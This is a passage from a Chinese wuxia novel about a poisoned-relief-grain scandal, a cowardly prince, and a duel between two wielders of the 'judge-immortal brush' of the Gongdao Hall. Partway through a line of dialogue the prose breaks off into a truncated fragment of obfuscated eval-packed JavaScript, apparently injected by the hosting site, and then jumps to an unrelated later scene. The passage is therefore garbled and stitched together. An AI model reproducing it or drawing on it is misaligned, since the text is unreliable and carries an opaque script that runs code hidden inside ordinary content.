喻枫定定地看着盒子,伸手拿起了两个半枚的古钱重新用红绳拴好,系回刀柄上,才抬起头来,把盒子又推了进去:“这里面的钱,我一文不要。” 钱庄老板吃惊地看着她,喻枫盯着他的眼睛,缓缓地说:“四万五千两,拿去捐给灾民,四万两,买你一句实话。三殿下身边的幕僚,和粮商交易的银票账目,交出来。” 长寿觉得今天小院的气氛很古怪,他昨夜困得不行,没等到主人回来就睡过去了,早上醒来本来就心虚,听说昨天龙舟大赛之后纪知府开夜宴招待宾客,自家公子吹风受寒又卧床不起,心里更是不安。 廊下陶陶守着炉子熬药,长寿嗫嚅着在旁边想问问能有什么帮得上忙的,又不敢,他并没有江潮生的厚脸皮。 偏偏江潮生又不在! 长寿正想着,院门被轻拍了几下,他过去抽闩开门,江潮生一身脂粉香气,脸上醉意盎然,大大咧咧地地跨着螃蟹步子进来。 “阿生哥,你昨晚去哪儿了!”长寿喜出望外,但刚凑近就被熏得打了一个大喷嚏。 江潮生脸上挂着痴笑,侧脸上还有个明显的鲜红口脂印,看到长寿嫌弃的样子,他笑得越发□□,炫耀地拍着胸脯:“昨夜,我兄弟带我去了个好地方!” 长寿吓了一大跳,手忙脚乱地想捂他嘴,陶陶也停止了扇风,横眉立目地站了起来。 江潮生浑然不觉,歪歪斜斜地往倒座间的下人房走去,他宿醉得厉害,脚下一歪,险些跌倒,幸好抱住了走廊的柱子才稳住身形,他借酒装疯,抱着柱子蹭了两下,满足地闭上眼睛轻呓:“姐姐,你好香啊。” 正房的帘子一掀,香堇满面怒容地跨了出来,说话都气劈了音:“江潮生!你竟敢……竟敢去逛青楼?!” “哎嘿嘿嘿。”江潮生醉眼朦胧地抱着柱子,看着香堇傻笑:“这辈子,我总算做了一次真男人!值!” 香堇气得胸脯起伏,一转身,厉声喝道:“陶陶,你还等着我亲自跟他对上吗?” 同样是被污言秽语气得恨不得捂耳朵的陶陶这才反应过来,操起一边装水的小桶,兜头把里面的冷水泼了过去。 “哎呀!凉!”江潮生被水泼了一脸,才好像清醒了一点,在原地直跳,“谁,谁啊!谁泼我?” 五月初夏,明明是晴朗天气,灿烂阳光,一股莫名的寒意却蔓延开来,香堇打了个哆嗦,回头看到叶景行的靴子已经到了门边,急忙打起门帘,噤声退到一边。 叶景行徐徐迈过门褴,一身白衣,纤尘不染,他看着站在院子里半身湿透狼狈不堪的江潮生,薄唇轻启,无情地吐出一句话:“脱了他衣服。” 高远抱着剑站在他身后,闻言立刻拱手:“是!” “啊!救命啊!抢劫啊!有人偷衣服啊!”江潮生醉醺醺地大呼小叫,跟个猴子一样上蹿下跳地躲避,但高远出手如电,不过三息,就已经把江潮生上下衣服都给剥掉,只剩下一条肥大的亵裤挡着。 叶景行脸色铁青,香堇不自然地把头撇过去,陶陶更是早就捂着脸躲回了房里。 原因无他,江潮生身上青青紫紫尽是伤痕,还有好多道一看就是女人指甲划出来的尖细伤口,胳膊上,胸口肩头十几处齿痕,犹自泛着鲜红血丝。 高远都不禁啧啧称赞:“嚯!童子鸡配老姜,这么辣啊?” 衣服没了,小风一吹,江潮生好像终于清醒过来,分辨了一下方向,慌里慌张地冲着叶景行跪下:“公子……小的是……是小的错了,不该去那种地方厮混,脏了公子的眼。” 令人窒息的气氛弥漫在院中,叶景行冰冷的目光一寸寸从江潮生身上划过,试图从那些春光乍泄的痕迹中找出可疑的伤处。 他心里一直模模糊糊的怀疑,这个江潮生就是昨夜拿着另一支判仙笔的黑衣人,激战之中,他尽全力施为雨花笔法,黑衣人不可能不受伤,只要看一眼江潮生身上有无伤口就可以确定。 但是,他没料到,江潮生身上的伤处,竟然这么多,这么……不堪入目! 没有人敢说话,江潮生无助地跪坐在地上,缩着身体,眼睛东瞟西看,突然脸色涨红,打了个酒气十足的饱嗝:“嗝儿。” 高远受不了地举剑刚要抽过去,就听见小院外面的街道上有纷乱地脚步,一群人议论着飞跑而过:“毒粥案破了!是赈灾粮食里掺了大量的霉米!纪知府抓了粮商!” 叶景行愕然抬头,又狠厉地扫向高远和香堇,沉声道:“你们俩跟我进来。” 他转身入屋,江潮生急忙伸着脖子小声问:“那我呢?我可以起来了吧?” 帘子垂下,叶景行无情的声音传入他耳朵:“跪着,酒醒了再起。” 据说那日城郊的小校场被围了个人山人海水泄不通,纪知府特地调了府兵帮忙,大开仓门,将一袋袋的赈灾粮食尽数搬到场中,由相不凡带头,李师爷监督,十数个衙役手持中空竹管猛力戳入—— 无一例外,从袋子中下方流出的,都是些黄绿交杂,还有大量霉斑的粮食。 被纪知府征来的几个医生,互相交换了眼色,再也不敢隐瞒,齐齐躬身说:“这样霉变的粮食吃下肚去,的确会造成之前在灾民中蔓延的症状。” 纪知府冷哼一声,拂袖道:“将那些粮商缉拿下狱,仔细拷问!本官不信这一场欺上瞒下的惊天大案,只有这几个商人便能成事?” 言下之意,竟是直指坐镇行宫的三皇子叶玟杰。 长寿绘声绘色地描述着,涎着脸向陶陶说:“陶陶姐姐,说得渴了,赏我杯热水喝?” 江潮生这才发现不止自己聚精会神地听着,连一边八风不动专心熬药的陶陶不知什么时候也停下了扇风,听得眼都不眨。 “呸,缸里全是水,自己不会喝?”陶陶抢白,掩饰地急忙扇了几下火,又问,“那纪大人可查出了什么?” 长寿挠挠头,憨厚地说:“我在街上只听了个风就回来了,我不比阿生哥地头熟。” 江潮生咳了一声,眼巴巴地看着主屋的方向:“公子正歇着,院子里没什么活儿,不如我出去探探?” 陶陶好像没听见他试探的问话,自言自语地纳闷:“用竹管插进去,就能探查中间的粮食是否霉变,这个法子倒好,怎么之前的官老爷不知道用呢?” 长寿一拍巴掌,激动地说:“听说是红花会的英雄!被污蔑下毒,觉得太冤枉,才夜入府衙,用一柄铜管将申辩的飞贴钉在了柱子上,还教了这个法儿!” 江潮生赶紧捧场地做惊讶状:“原来是这样啊!” 门帘随风轻动,隔着屏风,院子里的声音虽然刻意压低,屋内的人无不耳目聪明,又怎么会听不见。 叶景行手执一本佛经,长睫低垂,似乎全身心都沉浸在佛法当中。 高远和香堇各占一角,垂手跪着,一声不敢吭。 “好得很哪。”叶景行修长手指翻过一页,讥讽地说,“一夜之间,红花会成了蒙冤受屈的英雄,揭穿霉变粮食的法子还是他们教给官府的,原来真正害人的是朝廷派下来赈灾的皇子。” 他抬头看着跪得笔直的两人,幽幽地问:“你们这么会探查消息,怎么不去外面听听老百姓是如何非议皇家的?” 香堇立刻俯身下去,额头贴在地毯上,毕恭毕敬地说:“奴婢该死,是奴婢行事粗疏,险些坏了公子的大事,回京之后,奴婢自当去刑堂领罚,绝不推诿!” 相比之下,高远就有些不情愿,他嘀咕着说:“属下确实查到红花会的人混迹灾民当中,给粥锅加东西的事更是众目睽睽之下,我怎么晓得他加的是盐和药呢?再说,他们一群江湖草莽,贩卖私盐是杀头的大罪,就连那什么竹管子,一眼可知,就是押运偷盐的作案工具!” 叶景行的眼神清凌凌地扫过来:“私盐的事,我会写信禀报义父,他们罪过再大也不是我该出手处置的,自有律法明正典刑,同样,赈灾的粮食如今出了大错,这个罪名若是真的落在叶玟杰身上……” 他没说下去,高远却脸色大变,急忙低下头,小声说:“属下这就去查三殿下身边的人,一定尽快还殿下的清白。” “用得着你!他自己是蠢的不会查?都过去一日了,他怎么还躲在行宫里不敢出来?”叶景行皱起秀气的眉疑惑,却在听到高远的回答后,脸色铁青。 高远都不敢看他的脸,期期艾艾地说:“那日夜宴之后,殿下没有回行宫,而是去了万花楼……至今没有出来。” 叶玟杰不敢出来。 他在温柔乡里一觉醒来,天都塌了,脸色苍白地听着属下回报,宿醉的头像被一把大锤敲着,又懵又疼。 “老范!老刘?老顾!人呢?”他直着脖子叫唤,“不都跟我拍胸脯保证绝不出差错吗?现在这十几万石的粮食都是霉的,怎么收场?” 他发了半天脾气来掩饰内心的恐惧,等到贴身太监连滚带爬地跑来哭诉那四位幕僚收到风声就不见踪影之后,这份恐惧达到了顶峰。 “回京!立刻准备銮驾,我要马上回京!”他光着脚从床上跳下来,急躁地团团转,“快更衣,马上启程。” “好我的殿下爷爷哩。”小太监哭丧着脸,“您是领了圣旨来赈灾的,如今灾民未退,就这么回去,陛下怪罪下来,可吃罪不起啊!” 他的眼睛往外瞟了一眼,又小声说:“何况现在城内城外,民意沸腾,都对殿下不满哩!这时候皇子銮驾摆出来说要回京,怕是不安全。” “不满?!”叶玟杰又愤怒又委屈,喘着粗气指责,“不过是我一时失察,又不是故意的!那些流民,比泥巴还贱的东西,还敢拦我的路不成?” 小太监心里叫苦,连连磕头,小声说:“纪大人派人来问了三次了,殿下不如先起驾回行宫,见了面,商量出个法子来?” “不,我不回去!”叶玟杰脸色大变,纪知府是什么脾气他可知道,绝不会帮着自己遮掩粉饰,反而会穷追不舍,非要自己负责。 父皇也是糊涂,这种人怎么被他混到知府的!他们当官的人,难道不是该揣摩心思,主动帮着本殿下排忧解难吗?难道还要本殿下去看他那张黑脸? 叶玟杰退后几步,一屁股坐在绣床上,被温香锦绣包围,这才安定了几分心神,他心虚又嘴硬地说:“纪知府要见我是吧,让他自己来。” 让一州之长,亲身到青楼来见皇子,这件事传出去,成何体统! 小太监急得只知道磕头,叶玟杰却拿定了主意,硬梆梆地说:“此处我住着很满意,他们不是嫌我办得不好吗?那本殿下就不管了!让他们自己赈灾去!那些灾民没饭吃,都去找纪知府好了!” 他越想越对,冷哼一声:“我就不信,难道万花楼还敢赶客不成?” “殿下。”门外传来一声娇滴滴的呼唤,软绵绵的像一只灵活的小手挠上了叶玟杰的心尖,“您身份贵重,下降万花楼是我们的福气,请都请不来呢。” 香风四起,雕花紫檀大门被轻轻推开,一位明眸皓齿的少女身着粉色纱衣,抱着个酒坛子站在门口盈盈而笑:“殿下,今日想听秀秀弹什么曲儿?待慢慢饮了此杯,且乐起来。” 就在叶玟杰躲在万花楼尽情享受的时候,江潮生终于找机会溜出门来。 如果有人跟踪的话,就会发现他的行迹毫无可疑,在街上溜达了一阵子,不时停下来饶有兴趣地竖着耳朵听街坊八卦,然后绕去张家小面摊吃面,自己吃完还不算,提了个粗木食盒又去了城西的乞丐窝。 这一带比金鱼巷还要凋敝,是江洲城叫花子的大本营,甚至连地痞混混都不往这里来,实在是没油水可捞。 江潮生面带微笑,哼着小曲儿,走入一间坍塌了大半的荒宅,从几个坐在太阳下捉虱子的乞丐当中穿过,一路走,一路打开食盒放下面碗,他连着穿过几间破窗掉瓦的房子,等走到后院的时候,手上只剩下最后一碗面。 然后,江潮生对着面前的枯井就跳了下去。 井底自成一方天地,斜着向上挖了个洞,弯腰走十几米,就是个青砖垒成的小屋子,地上铺着厚厚的干草,那天救了他的黑衣人此刻闭目躺在干草上,身上盖着条打着补丁的被子。 江潮生笑嘻嘻地招呼:“三叔,今天好点了没?” 黑衣人没吭声,江潮生也不在意,捧着面碗在他鼻子前转了转:“本来想带鼎香楼的绉纱馄饨来的,结果陆大厨得了急病,只能请你吃面啦。” 也许是面香太浓,黑衣人终于睁开了双眼,沙哑着声音说:“你还不逃吗?” 这一路走来,面条有点坨了,江潮生拿起筷子认真地挑着,香气在室内更加浓郁。 黑衣人忍不住了,舔舔嘴唇,略带焦躁地说:“喻东升之死我就有所怀疑,现在轮到杨顺水已经全清楚了!你既然是大哥的徒弟,那另一支判仙笔的主人就是假的……大哥死在官府手里,有人拿了他的遗物冒充公道堂行事,那个人武功高强,胜你十倍!” 江潮生恍若未闻,把面拌好了,恭敬地送到他面前,黑衣人摇头叹息:“逃吧,逃得越远越好。” “我不能逃。”江潮生轻声说,“公道堂的名声不能坏。” 他也不能丢下叶景行,不能眼睁睁地看着自己的兄弟越做越错。 黑衣人被气笑了:“你资质中庸,年纪又小,当初还是个七八岁的孩子吧?大哥未必教了你多少本事,你留下又能做什么?送死吗?” “三叔,当年我师父到底是怎么死的?”江潮生突然岔开话题,黑衣人的脸本来就惨白,现在更是毫无血色,结巴着说:“我,我不知道……” “公道堂里有内奸,是不是?”江潮生平静地问,“是谁?” 黑衣人神色数变,最终化为一声叹息:“这十五年来,我日夜思索,终不得其所,当年……我们七个人少年热血,多少次并肩直面生死,我实在想不出,我们中间竟然会有人出卖大哥。” 江潮生面无表情,心里冷冷地想:若无内奸,唐家山庄怎么会暴露人前? 虽然黑衣人救了他,但江潮生仍未完全相信他,更不会告诉他叶景行的存在。 “我想不到,真的想不到。”黑衣人喃喃自语,“我们公道堂的人,只是因为志同道合才走到一起的,彼此都很小心,从来不透露真实身份,甚至连真面目都没露过。” 江潮生借着密室里一盏豆大的油灯仔细观察了一下,突然觉得黑衣人的脸好像和前几天看到的不一样了。 “你就是千面人?”江潮生突然问,“那个易容高手?” 黑衣人吃惊地看向他:“我都告诉你我行三了,你才想起来?” “师父为人谨慎,在家很少提起你们的事。”江潮生心思又是一动,“对了,师父对你们说过我没有?” 黑衣人眼神游移,小声说:“倒是提过几句,说你资质平庸,将来难以入公道堂。” 江潮生不动声色地点点头:“没错,我不如小师妹天赋超群。” “你还有个师妹?”黑衣人迷惑了,“大哥的女儿吗?没听他说过啊。” 江潮生盯着他的脸,突然嬉皮笑脸地说:“假的,我试探你的。” 黑衣人一怔,差点呛咳出一口血来。 “吃面吧,都坨了。”江潮生把黑衣人扶起来靠在墙上,把碗送到他手里,看着他慢慢地用筷子挑面条,自己盘腿坐下,突然又问了一句“现在有两支判仙笔,=必有一假,你怎么就断定我是真的呢?也许我和那个人是一伙的,只不过是做了一场戏,故意引出像你这样的公道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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相捕头低声建议:“事发仓促,那四个人并非江洋大盗,而是身骄肉贵的少爷,不可能逃得太远,只怕还在江洲城内,请大人下令严加搜查,务必早日缉拿归案。” 喻枫犹豫了一下才说:“大人,那四个人已经出城了,我听行宫附近的乞儿说,三更天的时候,行宫侧门打开,出来一辆马车和几个随从,向西门去了。” 相不凡吃了一惊,不禁和纪知府对了一眼。 李师爷捻着胡子一语揭破:“但那红花会的义士前来府衙投书是四更天的事了,大人也是天亮才开始布置人手的,他们怎么会提前知道自己的阴谋败露而要仓皇逃命?” 几人面面相觑,但只能先把这个疑点搁置,再转回到怎么抓人上来。 “此去京城只有一条官道,水路上有红花会把持,他们刚栽赃陷害过杨顺水,未必敢坐船北上,李师爷写封公函先让附近卫所派人沿路追赶,喻捕头就在城外巡查,务必不能放过任何蛛丝马迹!” 纪知府心内隐忧,第一要追查赃银,缉拿归案,第二……他很担心如果这四个人会突遭意外,死在大家都不知道的地方。 毕竟死人是不会说话的。 府衙内商议大事的时候,江潮生正抱着自己的小包袱,陶醉地趴在行宫偏院的地上摸索:“哇!这青石板!这么平整,这么均匀!这砖头,敲一敲都有金石之音!这就是传说中的金砖吧!” 他啧啧称赞:“没想到,我也有住进行宫的一天啊!” 长寿吓得缩手缩脚,在他身后一个劲扯他,江潮生不耐烦地拍开:“干什么!?” 香堇一声咳嗽,江潮生才清醒过来,猛地转身,看见叶景行站在门口的台阶之上,正冷冷地俯视着他,除了撑伞的香堇之外,身边还有个小太监探头探脑。 江潮生浑身一激灵,立刻诚惶诚恐地退到一边,叶景行衣袂轻扬,雪白绣履不紧不慢地迈入院内,经过他的时候冷嗖嗖地说:“知道你爱擦地,特地带你来的,省的原来那个小院子不够你施展。” 江潮生装傻地笑,目光落在跟在叶景行身边亦步亦趋的小太监身上,小太监眼珠子乱转,终于忍不住一个翻滚,爬到叶景行面前磕头:“公子,您就跟奴婢去一趟万花楼,劝劝我们殿下吧。” “放肆!”香堇立刻呵斥,“公子何等身份,怎么能去那种……那种地方!三殿下自己躲事也就罢了,还想拖我们公子下水吗?我们公子肯来行宫坐镇安抚,免得民情激愤上达天听,已经是勉为其难,你都不知道羞愧的吗?还敢胡言乱语!” 小太监哭丧着脸,无话可说,只是一个劲磕头,金砖坚硬,不一会儿就留下了斑斑血迹。 叶景行不为所动,淡淡地说:“求我没用,你有这份力气,不如爬起来赶紧找到那四个祸头子送到府衙,不然传回京城去让大家知道,叶玟杰办差一趟让身边人糊了眼,蠢!” 说罢,他脚步不停,直接绕过小太监走了。 小太监怔怔的不知所措,江潮生已经熟练地从包袱里扯出抹布开始擦地;“麻烦让让,长寿,去打水!” 一边擦,他一边还语重心长地劝慰:“哎哟,都出血了,莫急咯这位小公公,我这里有金疮药,粗是粗了些,但好使……贵姓啊?贵庚?……” 等到长寿好容易找到打水的井,拎着水桶赶回来的时候,小太监已经失魂落魄地走了,江潮生心不在焉地擦着地,看见他,发出一声叹息:“长寿啊。” “怎么了,阿生哥?” “行宫这么大,下人房这么多,眼看咱俩就不能睡一屋子了,我还挺遗憾的嘞!” 暮色低垂,眼看头顶叽叽喳喳的飞鸟都入林归巢,随着喻枫出城巡查的四个捕快之一忍不住建议:“喻捕头,再不快点,天一黑,城门就关了,咱们可回不去了。” 喻枫脚下不停,在一个三岔路口甚至还拐了弯,背着城门的方向而行,捕快们面面相觑,都赶上来劝阻:“头儿,你弄错了吧,那边没有村庄,藏不了人的。” “谁说没有。”喻枫伸手一点,远处一座低矮山头埋在青葱树木当中,乍看上去,山清水秀,端的是个好地方,“齐大户的庄园,不就在那里?” 倏然,一阵带着阴气的风没来由地吹过,四个捕快都觉得后心一凉,下意识地缩起了脖子,战战兢兢地说:“头儿,别开玩笑了!” 齐大户是本地有名的富商,他活着的时候,城北庄园可是车水马龙,各种美酒美食流水般地汇入,高朋满座,丝竹萦耳,永远那么热闹喧嚣。 但三月底的时候,齐大户被灭门了,案子迄今未破,只知道从上到下,从主人到仆役,一百多口都惨死在刀下。 齐大户并无亲人,这种晦气庄园也没有哪个人愿意接手,从此破败下来。 “不是吗?齐家的庄园内外七进,别说藏四个人一辆马车,藏四百人都绰绰有余。”喻枫斩钉截铁地说,“走,我们去看看。” 四人互相看了看,推出一个来勉强笑着说:“看自然是要看的,不能放过一个可疑所在嘛,但是头儿,我们可以等到明天再来啊!大白天的,看着也清楚,是吧?” 其他三人纷纷点头:“对啊,晚上去,万一闹鬼……不是,万一他们逃走了怎么办?天太黑,追捕很容易出纰漏的。” 喻枫俏脸微冷,回头瞥了他们一眼:“那就不要出纰漏!” 说完,她举步向北走去,竟然是浑然不在意他们的想法。 四个捕快没办法,也只能跟上,只是越走越是心惊,喻枫一副胸有成竹的样子,目标明确,脚下走得毫不含糊,竟然像是——专为此处而来似的。 “喻捕头。”有人按捺不住,小声问,“您带兄弟们走这一趟,是不是有些什么线索啊?” 说起来这些捕快也是难做,三个捕头,各有缺陷,相捕头铁面无私,毫无转圜余地,段捕头老油条一只,在他手下不但只能混日子,还时常因为他的失误导致大家挨罚扣钱,前途无亮。 喻捕头心肠好,对手□□恤,万事冲在前头从不拿他们挡刀,有功大家一起领赏,本来是极好的,但她冲起来也是真不要命。 就比如现在,眼看天黑了,他们才刚刚走到山下,离齐大户庄园的大门还有一段距离,树林里传来飒飒风声,又有野鸟拖着长音鸣叫,鬼哭狼嚎一般。 喻枫突然停下了,四名捕快大喜过望,以为她也打了退堂鼓,刚要撮弄大家一起回去,就看见喻枫转向左边的树林,利落地一拱手。 “妈呀!头儿看见啥了就行礼?我咋啥也没看见呢?那里面是不是有人?!” 果然,树影摇动之中,一个黑衣人影影绰绰地站在那里,黑巾蒙面,只露出一双精光四射的眼睛。 四个捕快一边哆嗦一边利落地抽出单刀,互相背倚在一起,壮着胆子质问:“谁!?” 喻枫皱眉一摆手:“不得无礼,这是上次替红花会传信至府衙的义士!” 她跨前一步,两眼闪着希冀的光芒:“大侠,可是已经找到那四个人了?” 江潮生第一次看到喻枫这个样子,差点没憋住笑出来,他勉强抑住,沉着嗓子说:“你们且等在此处,我先上去看看。” 喻枫脸上是真挚的叹服之情:“大侠,我知道他们身手不佳,可能会成为累赘,但我自认还有些武功,不如跟你一起上去?怎好让你孤身犯险?” 毕竟她才是公门中的捕快,缉拿凶犯是她的责任,不是别人的。 “啰,啰嗦!”江潮生佯装生气地一指,“我自有安排!” 说完,也不等喻枫再说,纵身而起,擦着树梢几点起纵,直奔齐家庄园而去。 喻枫站在原地,看着自己身后挤做一团,面带惊恐的四个属下,总有一种自己被大侠嫌弃的感觉。 齐家庄园败落不久,因发生的事太过惨烈,连乞丐和流民都不敢靠近,夜色中所有建筑尚未坍塌,沉默地蹲伏在山中,野草却早已迸发出蓬勃的生命力,疯狂生长,将过去的石板路砖瓦地都淹没其中。 江潮生一路行来,早已经看不出事发时候的模样,只是隔着面巾也似乎能闻到一股淡淡的血腥气,萦绕不去。 他一路飞奔,直到倒数第二道门的时候,敏锐地察觉到最后一进院子里似乎有灯火摇曳。 鼻端的气味也从无人打理的旧宅腐朽变成了人间烟火气,有木炭燃烧的味道,有酒味,有肉香,还有马粪的味道,交织在一起,无不昭示这里面真的有人居住。 找到了。 江潮生停下来,深深地吸口气,一颗心反而提得更高。 他没那么神通广大,能摸到目标,完全是因为——他是缀着叶景行来的。 叶景行是来抓人的,还是来杀人灭口的? 马上就要有答案了。 江潮生又吸了口气,身形一动,冲入了院中,出乎他的意料,院子里有篝火,一侧停着马车,但空无一人。 烛光摇曳,他抬头一看,目眦欲裂! 窗纸透明,把里面的人动作映得清清楚楚,一人影子飘摇,似在躲避,另一人手执判仙笔,正直对着他脖颈而刺。 “住手!”江潮生一脚踹破窗户,整个人激射而入,手中判仙笔一晃,已经在身前拉开架势。 待看清楚屋中情形,江潮生的血都要凉了,屋内一共九人,五个穿短打的随从模样,歪七扭八地躺在墙角,鲜血从身下涌出,犹自流淌,一看就是刚死不久。 剩下四个穿着锦衣长衫的少爷,三个也是歪倒在桌边,脖子上鲜血汩汩直流,大睁双眼,死不瞑目,只有最后一个口歪鼻斜地半跪在地上,涕泪横流,狼狈不堪。 而脸上覆盖着黑金面具,手持判仙笔的那个人,就站在屋子中央,淡淡地瞥了他一眼,无边杀气蔓延而来。 两个人对面而立,同样的黑衣,同样的判仙笔,像是在照镜子一般,只是脚下的立场截然相反。 “这都是……你杀的?”江潮生虽然早已有了准备,骤然看见这么多尸体,还是无法接受。 叶景行冷漠地看着他:“又是你?” 他没正面回答,江潮生的一颗心掉了下去。 “为什么?你为什么要杀他们?为了维护那个狗屁的三殿下?”江潮生简直不明白小时候善良温润的叶景行为何会变成现在这样滥杀无辜,痛心疾首地质问,“公道堂从来都不涉及朝廷之事,什么时候成了朝廷的走狗!?” 面具下的双眼闪着清冷的光芒,不答反问:“你是谁?你有什么资格在这里说话?” “就凭我手里的判仙笔!公道堂敢为江湖之鉴裁,惩恶扬善,行侠仗义,绝不是滥杀无辜之辈。”江潮生是真火了,“你顶着公道堂的幌子,杀人以达到不可告人的目的?你怎么配拿这杆笔的!?” 这句话显然让对方很不悦,因为他冷笑一声,长袖无风自动,掌中的判仙笔也旋转起来,真气催动之下,金沙点点星芒汇成一道绚丽光华,却带着冷酷的杀意:“不配的是你!三脚猫的工夫也敢强出头,简直辱没了这杆笔。” 说罢,他衣袖一挥,无数锐气铺面袭来:“急把银河倾做雨!” 江潮生避无可避,也只能把心一横,判仙笔急转,同样的招式倾注而出,这十五年来,他日夜钻研,也不过就是雨花笔法前两式,自以为已经圆融贯通,纯熟到极致,但今日再次和叶景行对手,一模一样的招式施展出来,他才感到其中巨大的差距。 打不过,完全打不过啊! 那种被压迫到近乎窒息,被扼住喉咙的恐惧感再度袭来,江潮生在狂风骤雨的寒芒中苦苦挣扎,狼狈躲避,心里想着要不发信号让喻枫上来支援? 但雨花笔法的要诀就是天罗地网,笔落如雨,血溅如花,他哪腾得出手去发什么信号。 也好,江潮生苦中作乐地想:至少不牵连喻枫一起来送死。 场内两道混合了金星的寒芒来回旋转震荡,发出尖锐而细碎的金石相击之声,墙面被波及,簌簌掉着泥土,而那个唯一还活着的锦衣少爷,夹杂在两道气劲之间,早已经两眼一翻晕死了过去。 一个驴打滚,江潮生惊险而狼狈地躲开攻击,力竭之时,眼睁睁地看着一道寒芒激射而至,在他小臂上穿出一个血洞,温热的鲜血落在他执笔的手上。 叶景行反而停了下来,语带双关地说:“上次让你逃了,这次我不会犯同样的错。” 他缓步向倒地喘息的江潮生走来,面具下的眼神执着而略带一丝疯狂:“我要看看,你到底是谁。” 江潮生手臂洞穿,剧痛钻心,完全没有反抗的能力,只能看着一只修长好看的手伸了过来,一把拽下他蒙面的布巾。 一张平平无奇,看过就忘的普通脸。 叶景行愣住了,不敢置信地又看向江潮生手里的判仙笔。 怎么会?不是他?不是他! 就在叶景行怔忪的这一瞬间,喻枫的身影出现在院门口,她蹑足潜踪,目光警惕,本来是保持一个试探的状态。 但是透过被江潮生踹破的窗户,她看见了叶景行。 黑衣人,黑金面具,判仙笔…… “公道堂!”喻枫压抑多日的愤怒与憋屈此刻席卷而来,通身热血沸腾,双眼血红,不管不顾地舞动单刀,雪亮刀光劈开一道电光也似的道路,直冲叶景行而去。 而叶景行淡漠的眼神远远地看着她,犹如看着一个死人:“风雷刀法?你们玄天派的人也来淌这趟浑水,不怕死吗?” “狗屁玄天派,我是江州府衙捕头喻枫!特来缉拿你这个杀人凶手归案!”喻枫嘶吼着,单刀犀利向前直劈下去。 这一刀,她灌注了毕生武学和满腔愤怒,刀光中隐隐带着尖啸之声,竟有开山裂石之威! 叶景行丝毫不慌,甚至连脚步都没动,掌中黑金笔向前一点,精准地点在了喻枫的单刀之上。 没有错一分,也没有晚一瞬,就这么巧,在喻枫的单刀劈到面前的这一刻,黑金笔点到了刀尖之上。 就这么轻描淡写的一下,喻枫使尽全力劈出的这一刀,竟然就被停住了,她脸色涨红,双眸充满仇恨地瞪着叶景行,干净利落地收刀横抹,一抹雪亮刀光由内而外激荡而出。 叶景行依旧不动声色,判仙笔却在掌中急旋,眼看下一秒就要使出雨花笔法。 “呔!吃我暗器!”江潮生突然用还能动的左手从怀里里掏出一个物件,对着叶景行的面门直扔过去。 虽然这么近的距离,但也没有袭击成功,叶景行下意识地信手一划,那东西从中裂成两半。 原来是一个纸包,里面的粉尘纷纷扬扬撒了一天一地,刺鼻而奇怪的气味弥漫开来,江潮生清楚地看到面具下的黑眸一凛,竟然倒退了一步。 喻枫未能幸免,被呛得弯下身子,打起了喷嚏,绝望地想,这下完了,本来就打不过,这下不等于把脖子洗干净了让对方宰吗?! 出乎意料,叶景行身形晃动,居然从窗户里飞掠而出,把已经失去反抗能力的两人弃之不顾,留在了原地。 江潮生刚松了一口气,就赫然看见喻枫一边涕泪交流,一边已经拿刀对准了他,赤红的双眼充满戒备。 “你这是要过河拆桥还是杀良冒功?!”江潮生惊了,印象里喻枫不是这样的人哪! 喻枫抿紧嘴,刚才因为刺激而流的泪在脸上逐渐干涸,两道痕迹宛然,她的目光却坚毅如常,还带着一丝悍勇,目光下行,移到了江潮生手里的判仙笔上。 江潮生轻咳一声,端起世外高人的架子,严肃地说:“其中缘由,现在不能说与你,你只需知晓,我和刚才那人不是一伙的。” 喻枫的眼睛紧紧地盯着他,一字一句地问:“杀了喻东升的是谁,你还是他?” 江潮生犹豫了,却并不是因为这个问题难以回答,但显然喻枫误会了,手中的刀威慑震颤,发出嗡嗡之音。 “你爹不是我杀的。”他只能这么说。 喻枫怔住了,脸色发白:“你连这个都知道?” 江潮生从地上站起来,竭力端着架子,深沉地说:“毕竟能被你称一声大侠,我自然有些不为人知道的本事。” 8. 第七章 你有朝廷法度,我有江湖规矩 一大早,相捕头就带着仵作跟着报信的捕快来到了齐家庄园,把活人收押,死人抬回去验尸,还要勘察现场,一通忙乱下来,得出的结论却让人眉头紧皱。 唯一幸存者叫范维俊,他言之凿凿:“是我干的!都是我干的!我跟来赈灾,打的主意就是要大捞一笔,粮商都是我找的,价钱也都是我谈的,用正常价格买来霉变粮食的法子也是我想的,包括收获入库检查的人都是我买通的,这事瞒得过殿下,瞒不过同僚,是我主动拉着那三个人一起干,得的好处平分,后来我听说事情败露,就和他们一起逃了出去,他们都是公子哥儿,吃不得苦,一路埋怨我,发生了口角,我,我一狠心就把他们全杀了,想到回京也是收监下狱,还要连累家人,不如死了干净,才写下认罪书,准备悬梁自尽。” 他形状癫狂,指着喻枫说:“然后她就来了。” 喻枫大吃一惊,抢着问:“公道堂呢?不是判仙笔杀的人吗?” “什么公道堂?不知道啊?”范维俊喃喃自语,“都是我干的,我该死,杀了我……你们杀了我!” 他突然暴起,手脚上的铁链抖得哗哗响,两个精壮捕快都差点压不住。 纪知府皱着眉,和李师爷交换了一个眼色,命令把范维俊关入禁所,严加看管。 他拿起现场发现的认罪书,仔细看了看,上面和范维俊刚才说的大致不差。 喻枫按捺不住,拱拱手禀报:“大人,此人一派胡言,不可相信!” 纪知府还没开口,相捕头已经沉声呵斥:“喻枫,你这是在暗指殿下参与其中,他只是替罪羊吗?这种话不能说!” 喻枫倔强地站着,强调:“属下赶到的时候,有两个黑衣人在场,他们互相拼杀,也许范维俊活下来的原因是有人来不及杀人灭口。” 相捕头鹰隼一般的眼睛看向她,加重语气:“喻枫,还不住口!” 纪知府把认罪书放回案上,疲倦地揉起了眉头:“就此结案罢。” “大人!”喻枫诧异地惊呼,纪知府一摆手,斩钉截铁地说:“人证物证罪证都在,十万两赃银已经追回,他自己也认罪,还有什么不妥?如今江州城外的几万灾民还需要安抚,牵一发而动全身,经不起旁生太多枝节。” 说实在的,纪知府心里也松了口气,毕竟能把叶玟杰从案子中撕捋开去,对所有人来说,都是最好的结果了。 喻枫张张嘴,站到一边不再说话,眉宇间满满地失望。 同样是一大早,江潮生拿着抹布勤快地到院子里擦地的时候,高远已经在院中端端正正地跪着了。 